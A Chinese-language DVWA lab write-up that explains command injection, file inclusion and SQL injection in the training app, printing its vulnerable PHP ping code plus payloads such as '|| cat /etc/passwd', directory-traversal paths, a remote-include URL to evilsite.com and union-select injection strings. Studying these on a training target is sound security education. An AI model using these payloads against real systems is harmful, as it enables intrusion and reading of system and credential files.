DVWA(Dam vulnerable Web Application)是使用PHP+Mysql编写的一套用于常规漏洞教学和漏洞挖掘的一个测试学习程序,在此程序中包含了常见的web方面的漏洞,如命令行执行(Command Execution),CSRF、文件包含(File Inclusion)、SQL注入(SQL Injection)、SQL盲注(SQL Injection Blind)、文件上传(Upload)、反射型XSS(XSS reflected)、存储型XSS(XSS stored)。DVWA还可以设置漏洞的难度,在DVWA1.8版本中存在low,medium以及high三种级别的,在新版DVWA1.9中,则存在low、medium、high和impossible四种级别。对于想了解web安全的同学或者是有志于从事web安全方向但是对web安全不了解的同学可以利用DVWA这个参透测试演练系统提供对web安全的认识。在本文中主要是基于windows7平台下的DVWA1.8版本的讲解。

0X00 command injection

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}
}
?>

从代码可以看出,代码没有对输入的IP进行任何的判断和过滤就直接使用了$_REQUEST[ip]来接受从页面传递过来的值。在此代码中使用了以下的函数。

  • php_uname():是用于返回运行PHP的操作系统的描述,和phpinfo()最顶端上输出的是同一个字符串。php_uname()函数中参数可以有多种不同的值。当参数为s时,php_uname()返回的是操作系统的名称,如FreeBSD或者是Windows NT等等。
  • shell_exec():通过shell环境变量执行命令,并且将完成的输出以字符串的方式返回。所以在本代码中,shell_exec()方法就是用来执行ping命令的。
  • 命令连接符和管道:在shell中可以使用命令连接符或者是管道的方式同时在一条语句中同时运行多个命令。
    | 管道符,将上一个命令的输出作为下一个命令的输入
    & 连接符,使用&符号时,就可以同时运行多条命令
     Linux环境下的连接符,和&作用相同
    && 逻辑与,只有在前面的命令执行成功时,后面的命令才会执行
    || 逻辑或,前面的命令如果执行成功,后面的命令则不执行

在完全没有对代码进行过滤的情况下,如果是在Linux环境下,输入

1
127.0.0.1 & /etc/passwd

那么就会造成命令执行的攻击了。

medium

源码分析

1
|| cat /etc/passwd

high
目前还无法破解

0X01 file inclusion

low/medium:
答案可以有很多

1
2
3
4
5
../../../../../../etc/passwd
../../../../../../etc/group
../../../../../../var/www/phpinfo.php

http://www.evilsite.com/evil.php

high:
限制了file为include.php,导致无法进行文件包含的漏洞

SQL Injection

low
1’ 或者使用 1 or 1=1# 同样可以,那么说明就存在sql注入漏洞

1
2
%' and '0'='0
%' or 0=0 union select null,version() #

Dvwa writeup的更多相关文章

  1. 在xampp中配置dvwa

    DVWA主要是用于学习Web的常见攻击,比如SQL注入.XSS等的一个渗透测试系统,下面我将结合XAMPP来说明它的安装过程. 一.环境 OS:Windows 10 XAMPP:5.6.24 DVWA ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. DVWA安装,ALMP环境搭建以及php版本转换

    前言 本文记录DVWA(Damn Vulberability Web App)在虚拟机中安装配置,包括ALMP环境的搭建和php版本的转换. 目录 2. ALMP环境搭建 3. php版本切换 一. ...

  4. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  5. DAY5 DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  6. dvwa第一次接触

    DVWA (Damn Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. 配置安装DVWA

    本文地址:http://www.cnblogs.com/go2bed/p/4162313.html —————————————————— 什么是DVWA? Damn Vulnerable Web Ap ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

随机推荐

  1. ubuntu定时执行脚本(crond)

    如果发现您的系统里没有这个命令,请安装下面两个软件包. vixie-cron crontabs crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表.-u ...

  2. js中的浅拷贝和深拷贝

    说说最近所学:浅拷贝和深拷贝也叫做浅克隆和深克隆,深浅主要针对的是对象的"深度",常见的对象都是"浅"的,也就是对象里的属性就是单个的属性,而"深&q ...

  3. EntityFramework5学习

    在开发面向数据的软件时我们常常为了解决业务问题实体.关系和逻辑构建模型而费尽心机,ORM的产生为我们提供了一种优雅的解决方案.ADO.NET Entity Framework是.NET开发中一种由AD ...

  4. C++调用C#dll类库中的方法(非显性COM)

    一般在网上搜C++如何调用C#的函数,出来的结果都是做成COM组件,但是这种方法dll安装麻烦,需要注册COM组件,需要管理员权限,调试麻烦,经常需要重启机器,反正有诸多不便. 然后在看<CLR ...

  5. Silverlight项目笔记6:Linq求差集、交集&检查网络连接状态&重载构造函数复用窗口

    1.使用Linq求差集.交集 使用场景: 需要从数据中心获得用户数据,并以此为标准,同步系统的用户信息,对系统中多余的用户进行删除操作,缺失的用户进行添加操作,对信息更新了的用户进行编辑操作更新. 所 ...

  6. iOS之UI--CAShapeLayer

    关于CAShapeLayer 内容大纲: CAShapeLayer简介 贝塞尔曲线与CAShapeLayer的关系 strokeStart和strokeEnd 动画 用CAShapeLayer实现进度 ...

  7. SAM4E单片机之旅——15、触屏输入与SPI通信

    开发板上配了一个电阻触摸屏,它的控制器是ADS7843,使用SPI进行通信.这次实现的功能是通过SPI接口与该控制器交互,获取触摸屏点击的坐标,并显示在LCD上.略为难点的是SPI作为同步时钟的一种, ...

  8. 百度地图API说明

    JZ's Blog的博客对百度地图说明很清晰 http://www.jiazhengblog.com/blog/2011/07/02/289/

  9. 2013MPD上海6.23 PM 光耀:读心术,用户心理的产品之道

    创新的前提是:制度与组织的创新!!!!!!!!!!!!!! 光耀:腾讯互联网业务产品经理(腾讯公司互联网业务系统产品经理.在电子商务.社会化媒体等方面有深入研究.参与腾讯多个重要项目产品工作) 什么是 ...

  10. 无法将匿名方法转换为System.Delegate

    在WinForm中,不允许非UI线程访问UI,如果非UI线程需要跨线程调用UI控件,通常的解决办法是使用Control类中的Invoke方法,传递给该方法一个委托和委托调用的参数列表(params [ ...